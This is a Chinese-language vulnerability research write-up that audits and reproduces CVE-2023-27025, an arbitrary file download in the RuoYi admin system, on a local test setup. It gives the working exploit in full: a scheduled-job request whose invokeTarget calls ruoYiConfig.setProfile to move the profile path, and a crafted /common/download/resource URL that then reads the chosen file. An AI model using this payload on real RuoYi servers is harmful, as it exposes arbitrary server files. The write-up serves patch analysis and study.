CVE-2023-27025
若依/ruoyi 是使用java主流框架的一款优秀的国内开源cms,
基于SpringBoot、Shiro、Mybatis的权限后台管理系统。
https://cve.mitre.org/
搜索ruoyi
代码审计感兴趣的漏洞:CVE-2023-27025
An arbitrary file download vulnerability in the background management module of RuoYi v4.7.6 and below allows attackers to download arbitrary files in the server.
https://gitee.com/y_project/RuoYi/releases
使用phpstudy_pro 开启和配置一下数据库
配置一下数据库地址
idea绿色的运行按钮点击一下
可以访问到,环境搭建成功。
https://gitee.com/y_project/RuoYi/commit/432d5ce1be2e9384a6230d7ccd8401eef5ce02b0
https://gitee.com/y_project/RuoYi/issues/I697Q5
通过补丁修复的位置可以快速定位到问题代码
/monitor/job/run
跟踪一下代码流程
全局搜索
shift键快速按两次
下好断点,停止服务,开启debug模式,跟进的服务层。
这里好像不是漏洞的关键点
POST /monitor/job/add HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 174
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/monitor/job
Cookie: JSESSIONID=b32de574-334d-4831-85bb-17adecd6484e
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('e://1.txt')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=
添加任务
下断点跟进,发现有很多过滤
src/main/java/com/ruoyi/quartz/controller/SysJobController.java
跟进whiteList(ctrl+鼠标左键点击一下),跟进白名单,发现漏洞修复的关键代码
这里成获取到对象,将转换为bean的对象再进行白名单检测
src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java
下一步
一直下一步
通过else if (StringUtils.containsAnyIgnoreCase(job.getInvokeTarget(), Constants.JOB_ERROR_STR))
的判断
直接放行,添加成功。
http://127.0.0.1/common/download/resource?resource=Info.xml:.zip
下载无内容
执行一次定时任务后,再次访问下载地址
http://127.0.0.1/common/download/resource?resource=Info.xml:.zip
根据payload设置反向查找关键代码,payload搜索setProfile方法
src/main/java/com/ruoyi/common/config/RuoYiConfig.java
payload修改的是profile 的地址
application.yml
执行一下payload
计划任务就是动态修改application.yaml
这里跟进一下函数,看是如何修改profile参数的
执行计划任务一次
然后通过下载接口去下载任意文件,任意文件下载中的下载接口
http://127.0.0.1/common/download/resource?resource=Info.xml:.zip
下载定义的文件。
跟进到请求地址 /common/download/resource
这里下载有过滤
跟进一下checkAllowDownload这个函数
ctrl+鼠标左键 点击要调整的函数(checkAllowDownload)就可以调整进来
跟进允许的文件规则
允许zip格式的下载,白名单
回到原来下载文件中的
src/main/java/com/ruoyi/web/controller/common/CommonController.java
通过getProfile() 获取到之前计划任务定义好的文件路径
下载成功
这里可以是随便的文件名,只要是白名单就可以。传入的需要下载的文件路径是用过计划任务传入的参数。